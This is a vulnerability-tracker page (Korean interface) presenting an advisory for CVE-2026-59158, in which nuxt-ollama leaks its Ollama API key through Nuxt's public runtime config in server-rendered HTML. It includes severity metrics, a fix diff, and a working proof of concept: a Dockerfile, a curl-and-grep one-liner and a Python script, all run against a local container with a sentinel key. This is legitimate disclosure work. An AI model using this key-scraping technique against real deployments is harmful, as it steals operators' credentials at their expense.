Kestrel
대시보드로 돌아가기
CVE-2026-59158HIGH· 7.5GHSA대응게시일: 2026. 09. 09.수정일: 2026. 09. 09.

Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Public Runtime Config Exposes Ollama API Key to Browser Clients

Summary

nuxt-ollama@1.2.26 unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.

Details

The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:

text
1// src/module.ts:35-36
2const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
3runtimeConfig.public.ollama = defu(currentConfig, _options)

Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:

xss
1<script>
2window.__NUXT__={};
3window.__NUXT__.config={
4 public:{
5 ollama:{
6 protocol:"https",
7 host:"api.ollama.com",
8 port:"",
9 proxy:false,
10 api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser
11 }
12 }
13}
14</script>

The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:

text
1// src/runtime/composables/useOllama.ts:6-10
2const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
3if (options.api_key) {
4 headers.Authorization = `Bearer ${options.api_key}`
5}
6return new Ollama({ host, proxy: options.proxy, headers })

The complete data flow from source to sink:

  1. README.md:71-80 — official documentation instructs users to set ollama.api_key for cloud Ollama models
  2. src/module.ts:35-36source: api_key is merged into runtimeConfig.public.ollama
  3. Nuxt SSR runtime — runtimeConfig.public is serialized into HTML __NUXT__ payload
  4. src/runtime/composables/useOllama.ts:6 — browser composable reads useRuntimeConfig().public.ollama
  5. src/runtime/composables/useOllama.ts:8-10sink: options.api_key becomes headers.Authorization in client-side HTTP request

The api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.

Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:

text
1- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
2- runtimeConfig.public.ollama = defu(currentConfig, _options)
3+ const { api_key, ...publicOptions } = _options
4+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
5+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
6+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
7+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })

The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.

PoC

Prerequisites: Docker, Python 3

Step 1 — Build the vulnerable Nuxt app container

text
1docker build \
2 -f /path/to/vuln-001/Dockerfile \
3 -t nuxt-ollama-vuln-001 \
4 /path/to/npmAI_735_thoda-dev__nuxt-ollama

The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:

text
1export default defineNuxtConfig({
2 modules: ['../src/module'],
3 compatibilityDate: '2025-10-29',
4 devtools: { enabled: false },
5 ollama: {
6 protocol: 'https',
7 host: 'api.ollama.com',
8 api_key: 'LEAKED_TEST_KEY_123' // sentinel key
9 }
10})

Step 2 — Start the container

text
1docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

Step 3 — Retrieve the API key with a single unauthenticated HTTP request

bash
1curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
2# Expected: api_key":"LEAKED_TEST_KEY_123"

Automated PoC script

text
1python3 /path/to/vuln-001/poc.py

Expected output (confirmed in dynamic reproduction):

text
1window.__NUXT__.config={
2 public:{
3 ollama:{
4 protocol:"https",
5 host:"api.ollama.com",
6 port:"",
7 proxy:false,
8 api_key:"LEAKED_TEST_KEY_123"
9 }
10 }
11}

The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.

Impact

This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.

Who is impacted:

  • Operators/developers who follow the official documentation to configure ollama.api_key for cloud Ollama models. They are unaware that the key is being published to every visitor.
  • End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.

Potential consequences of key theft:

  • Unauthorized use of the Ollama cloud API at the operator's cost
  • Rate-limit exhaustion or quota abuse
  • Data exfiltration if the compromised key has read access to stored models or conversations
  • Reputational damage and service disruption for the affected application

The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.

Reproduction artifacts

Dockerfile
bash
1# syntax=docker/dockerfile:1
2# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
3# CWE-522: Insufficiently Protected Credentials
4# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
5#
6# Vulnerability mechanism:
7# src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)
8# This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes
9# into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).
10# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.
11
12FROM node:20-alpine
13
14# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
15RUN npm install -g pnpm@10.33.4
16
17WORKDIR /app
18
19# Copy the nuxt-ollama source repository
20COPY repo/ ./
21
22# Install all project dependencies.
23# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
24RUN pnpm install --frozen-lockfile
25
26# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate
27# a real-world cloud Ollama deployment as documented in README.md:71-80.
28# This is the exact vulnerable configuration pattern described in the docs.
29RUN cat > playground/nuxt.config.ts << 'EOF'
30export default defineNuxtConfig({
31 modules: ['../src/module'],
32 compatibilityDate: '2025-10-29',
33 devtools: { enabled: false },
34 ollama: {
35 protocol: 'https',
36 host: 'api.ollama.com',
37 api_key: 'LEAKED_TEST_KEY_123'
38 }
39})
40EOF
41
42# Replace app.vue with a minimal template that does NOT make Ollama API calls.
43# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.
44# The original playground app.vue calls useFetch('/api/ollama') which requires
45# a live Ollama server; replacing it keeps this PoC self-contained.
46RUN cat > playground/app.vue << 'EOF'
47<template>
48 <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div>
49</template>
50EOF
51
52# Build the playground in production SSR mode.
53# During the module setup() call, src/module.ts:36 merges all _options (including
54# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes
55# runtimeConfig.public into the HTML response for client-side hydration.
56RUN pnpm exec nuxi build playground
57
58EXPOSE 3000
59ENV HOST=0.0.0.0
60ENV PORT=3000
61ENV NITRO_HOST=0.0.0.0
62ENV NITRO_PORT=3000
63
64CMD ["node", "/app/playground/.output/server/index.mjs"]
poc.py
xss
1#!/usr/bin/env python3
2"""
3VULN-001 Proof of Concept
4Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
5Title : Public Runtime Config Exposes Ollama API Key to Browser Clients
6CWE : CWE-522 - Insufficiently Protected Credentials
7CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8
9Attack summary
10--------------
11When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80
12for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
13entire _options object—api_key included—into runtimeConfig.public.ollama.
14
15Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
16embeds it in the HTML response inside a <script> payload block (__NUXT__ /
17__NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore
18returns the api_key in plain text, with no authentication required.
19
20This script:
21 1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.
22 2. Starts the image as a local container.
23 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
24 4. Prints an evidence excerpt and writes phase2_result.json.
25"""
26
27import json
28import os
29import subprocess
30import sys
31import time
32import urllib.request
33
34# ---------------------------------------------------------------------------
35# Configuration
36# ---------------------------------------------------------------------------
37TARGET_KEY = "LEAKED_TEST_KEY_123"
38IMAGE_NAME = "nuxt-ollama-vuln-001"
39CONTAINER_NAME = "nuxt-ollama-poc-001"
40HOST = "127.0.0.1"
41PORT = 3000
42URL = f"http://{HOST}:{PORT}/"
43
44SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
45PARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/)
46DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile")
47RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")
48
49BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
50RUN_CMD = (
51 f"docker run -d --name {CONTAINER_NAME} "
52 f"-p {PORT}:{PORT} {IMAGE_NAME}"
53)
54POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"
55
56
57# ---------------------------------------------------------------------------
58# Helpers
59# ---------------------------------------------------------------------------
60
61def run_cmd(cmd_list, check=True, capture=False):
62 """Execute a command, printing it first; return CompletedProcess."""
63 print(f"[cmd] {' '.join(cmd_list)}", flush=True)
64 return subprocess.run(
65 cmd_list,
66 check=check,
67 capture_output=capture,
68 text=bool(capture),
69 )
70
71
72def cleanup_container():
73 """Remove the PoC container if it already exists."""
74 subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)
75
76
77def wait_for_server(url, timeout=180, interval=5):
78 """Poll url until it returns a non-5xx response or the timeout expires."""
79 print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True)
80 deadline = time.time() + timeout
81 while time.time() < deadline:
82 try:
83 with urllib.request.urlopen(url, timeout=5) as resp:
84 if resp.status < 500:
85 print(f"[+] Server up — HTTP {resp.status}", flush=True)
86 return True
87 except Exception:
88 pass
89 time.sleep(interval)
90 return False
91
92
93def save_result(data):
94 """Write phase2_result.json and echo its path."""
95 with open(RESULT_FILE, "w", encoding="utf-8") as fh:
96 json.dump(data, fh, ensure_ascii=False, indent=2)
97 print(f"\n[*] Result saved to {RESULT_FILE}", flush=True)
98
99
100# ---------------------------------------------------------------------------
101# Main
102# ---------------------------------------------------------------------------
103
104def main():
105 print("=" * 66)
106 print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
107 print("=" * 66, flush=True)
108
109 cleanup_container()
110
111 # ------------------------------------------------------------------
112 # Step 1 — Build Docker image
113 # ------------------------------------------------------------------
114 print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
115 build_rc = run_cmd(
116 ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
117 check=False,
118 ).returncode
119
120 if build_rc != 0:
121 save_result({
122 "passed": False,
123 "verdict": "FAIL",
124 "reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
125 "build_command": BUILD_CMD,
126 "run_command": RUN_CMD,
127 "poc_command": POC_CMD,
128 "evidence": f"docker build exited with returncode={build_rc}",
129 "artifacts": ["Dockerfile", "poc.py"],
130 })
131 sys.exit(1)
132
133 print("[+] Image built successfully.", flush=True)
134
135 # ------------------------------------------------------------------
136 # Step 2 — Start the container
137 # ------------------------------------------------------------------
138 print("\n[STEP 2] Starting container ...", flush=True)
139 run_rc = run_cmd(
140 ["docker", "run", "-d",
141 "--name", CONTAINER_NAME,
142 "-p", f"{PORT}:{PORT}",
143 IMAGE_NAME],
144 check=False,
145 ).returncode
146
147 if run_rc != 0:
148 save_result({
149 "passed": False,
150 "verdict": "FAIL",
151 "reason": "Docker 컨테이너 실행 실패.",
152 "build_command": BUILD_CMD,
153 "run_command": RUN_CMD,
154 "poc_command": POC_CMD,
155 "evidence": f"docker run exited with returncode={run_rc}",
156 "artifacts": ["Dockerfile", "poc.py"],
157 })
158 sys.exit(1)
159
160 # ------------------------------------------------------------------
161 # Step 3 — Wait for Nuxt SSR server
162 # ------------------------------------------------------------------
163 print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
164 if not wait_for_server(URL, timeout=180):
165 logs = subprocess.run(
166 ["docker", "logs", CONTAINER_NAME],
167 capture_output=True, text=True,
168 )
169 log_snippet = (logs.stdout + logs.stderr)[-2000:]
170 print("[!] Server did not respond within timeout. Container logs:\n", log_snippet)
171 save_result({
172 "passed": False,
173 "verdict": "INCOMPLETE",
174 "reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
175 "build_command": BUILD_CMD,
176 "run_command": RUN_CMD,
177 "poc_command": POC_CMD,
178 "evidence": log_snippet,
179 "artifacts": ["Dockerfile", "poc.py"],
180 })
181 cleanup_container()
182 sys.exit(1)
183
184 # ------------------------------------------------------------------
185 # Step 4 — Fetch the rendered HTML page
186 # ------------------------------------------------------------------
187 print(f"\n[STEP 4] GET {URL} ...", flush=True)
188 try:
189 with urllib.request.urlopen(URL, timeout=15) as resp:
190 html = resp.read().decode("utf-8", errors="replace")
191 except Exception as exc:
192 save_result({
193 "passed": False,
194 "verdict": "FAIL",
195 "reason": f"HTTP 요청 실패: {exc}",
196 "build_command": BUILD_CMD,
197 "run_command": RUN_CMD,
198 "poc_command": POC_CMD,
199 "evidence": str(exc),
200 "artifacts": ["Dockerfile", "poc.py"],
201 })
202 cleanup_container()
203 sys.exit(1)
204
205 print(f"[+] Received {len(html)} bytes.", flush=True)
206
207 # ------------------------------------------------------------------
208 # Step 5 — Verify TARGET_KEY is present in the HTTP response body
209 # ------------------------------------------------------------------
210 print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True)
211
212 if TARGET_KEY in html:
213 idx = html.index(TARGET_KEY)
214 start = max(0, idx - 200)
215 end = min(len(html), idx + len(TARGET_KEY) + 200)
216 excerpt = html[start:end].strip()
217
218 print(f"\n{'='*66}")
219 print(f"[PASS] VULNERABILITY CONFIRMED")
220 print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.")
221 print(f"{'='*66}")
222 print(f"Evidence excerpt:\n\n{excerpt}\n")
223 print(f"{'='*66}")
224
225 save_result({
226 "passed": True,
227 "verdict": "PASS",
228 "reason": (
229 "nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 "
230 "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
231 "__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
232 "LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
233 ),
234 "build_command": BUILD_CMD,
235 "run_command": RUN_CMD,
236 "poc_command": POC_CMD,
237 "evidence": excerpt,
238 "artifacts": ["Dockerfile", "poc.py"],
239 })
240 cleanup_container()
241 sys.exit(0)
242
243 else:
244 snippet = html[:3000]
245 print(f"[FAIL] '{TARGET_KEY}' NOT found in the HTTP response body.")
246 print("--- HTML (first 3000 chars) ---")
247 print(snippet)
248
249 save_result({
250 "passed": False,
251 "verdict": "FAIL",
252 "reason": (
253 f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
254 "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
255 ),
256 "build_command": BUILD_CMD,
257 "run_command": RUN_CMD,
258 "poc_command": POC_CMD,
259 "evidence": snippet[:1500],
260 "artifacts": ["Dockerfile", "poc.py"],
261 })
262 cleanup_container()
263 sys.exit(1)
264
265
266if __name__ == "__main__":
267 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.